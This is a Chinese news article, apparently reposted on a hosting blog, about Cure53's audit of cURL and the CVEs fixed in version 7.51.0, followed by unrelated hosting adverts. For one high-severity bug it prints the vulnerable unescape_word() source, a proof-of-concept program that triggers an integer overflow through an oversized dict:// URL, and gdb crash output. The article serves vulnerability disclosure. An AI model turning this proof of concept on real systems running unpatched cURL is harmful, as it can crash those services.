注意了,cURL的漏洞也不少

[[177943]]

安全专家对cURL进行了审计,发现了数十个安全问题,这些漏洞在最新的版本中已经被修复。

cURL想必大家都不陌生,它是一款开源的命令行工具和库,支持多种协议传输数据。cURL如今的应用还是比较广泛的,包括网络设备、打印机、智能手机,甚至是一些物联网设备比如汽车。

主动审计

前不久,cURL开发者、Mozilla员工Daniel Stenberg请Mozilla Secure Open Source(SOS)项目对cURL进行安全审计。

“我请Mozilla Secure Open Source项目进行了一次安全审计。这个项目是由Mozilla寻找第三方公司一起参与,并且最终买单完成的。参与审计的公司名为Cure53。” Stenberg在博客中写道。“我之所以申请审计是因为最近我感觉存在一些安全相关的问题,我觉得我们在安全方面可能有所欠缺,所以想让专家们检查一下。”

Cure53的5名专家对cURL进行了为期20天的审计,发现了总共23个安全问题。

审计结果

这些安全问题中,有9个是安全漏洞。专家融合了其中2个安全漏洞——其中一个被归类为“plain bug”,因为要在实际攻击场景进行利用会很困难。另外,审计发现了4个高危漏洞和4个中危漏洞。

高危漏洞的漏洞编号为CVE-2016-8617, CVE-2016-8619, CVE-2016-8622和CVE-2016-8623。这些都是远程执行漏洞。

比如说下面这个漏洞:

CRL-01-014 unescape_word()整型溢出造成负数数组索引(高危)

dict.c中的unescape_word()函数中存在以下代码:

  1. static char *unescape_word(struct Curl_easy *data, const char *inputbuff) 
  2.        { 
  3.          char *newp; 
  4.          char *dictp; 
  5.          char *ptr; 
  6.          int len; 
  7.          char ch; 
  8.          int olen=0; 
  9.          newp = curl_easy_unescape(data, inputbuff, 0, &len); 
  10.          if(!newp) 
  11. return NULL; 
  12.          dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */ 
  13.          if(dictp) { 
  14.            /* According to RFC2229 section 2.2, these letters need to be escaped with 
  15.               \[letter] */ 
  16.            for(ptr = newp; 
  17.                (ch = *ptr) != 0; 
  18.                ptr++) { 
  19.              if((ch <= 32) || (ch == 127) || 
  20.                  (ch == '\'') || (ch == '\"') || (ch == '\\')) { 
  21.                dictp[olen++] = '\\'; 
  22.              } 
  23.              dictp[olen++] = ch; 
  24.            } 
  25.            dictp[olen]=0; 
  26.          } 
  27. free(newp); 
  28.          return dictp; 
  29.        } 

很明显,len要比pow(2,31)小,但是输出可以拓展至两倍大小,也就是说当olen的值是INT_MAX时,可以被增加。这就会导致有符号整型溢出。

由于olen一直被用作数组索引,负的数组索引就会指向未分配的内存。

要验证漏洞,可以在6GB以上空闲内存的64位电脑上运行下面的代码。这个测试会获取一个超过1GB长的dict:// URL。

  1. #include <curl/curl.h> 
  2. #include <stdint.h> 
  3. #include <string.h> 
  4. #include <err.h> 
  5. #include <stdlib.h> 
  6. int main(int argc, char *argv[]) 
  7. { 
  8.   char *dicturl = malloc(23 + (1ULL<<30) + 5 + 1); 
  9.   if (!dicturl) 
  10.     errx(1, "malloc"); 
  11.   strcpy(dicturl, "dict://localhost/MATCH:"); 
  12.   memset(dicturl + 23, '\"', (1ULL<<30) + 5); 
  13.   dicturl[23 + (1ULL<<30) + 5] = '\0'; 
  14.   CURL *hnd = curl_easy_init(); 
  15.   curl_easy_setopt(hnd, CURLOPT_URL, dicturl); 
  16.   free(dicturl); 
  17.   curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L); 
  18.   CURLcode ret = curl_easy_perform(hnd); 
  19.   curl_easy_cleanup(hnd); 
  20.   return (int)ret; 
  21. } 

运行会导致如下的崩溃信息:

  1. $ gdb ./negative_dict_url 
  2. [...] 
  3. (gdb) run 
  4. Starting program: [...] 
  5. [...] 
  6. Program received signal SIGSEGV, Segmentation fault. 
  7. 0x00007ffff7b6975b in unescape_word (data=0x63a0b0, inputbuff=0x7fffb0fca017 '\"' <repeats 200 times>...) at dict.c:116 
  8. 116 dictp[olen++] = '\\'; 
  9. (gdb) x/1i $pc 
  10. => 0x7ffff7b6975b <unescape_word+170>: mov 
  11. (gdb) print/x $rax 
  12. $1 = 0x7ffdf0dba010 
  13. (gdb) print/x dictp 
  14. $2 = 0x7ffe70dba010 
  15. (gdb) print olen 
  16. $3 = -2147483647 

但实际上,审计报告提到,cURL库的整体安全性和鲁棒性都很好。

也请大家不要担心,新版本的cURL已经上线了,7.51.0版本修复了总共11个漏洞,其中7个是由Cure53的审计团队发现的,其他的漏洞是由Luật Nguyễn、Christian Heimes和Fernando Muñoz提交的。

Stenberg指出,cURL是一个非常常用的软件,因此,审计对用户来说具有重大意义。

“由于curl是世界上最常用的软件,因此curl如果出现了问题可能对各种工具、设备、应用造成重大影响。我们不希望发生那样的事。”

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/123027.html<

赞 (0)
管理的头像管理
上一篇2025-02-22 15:02
下一篇 2025-02-22 15:04

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注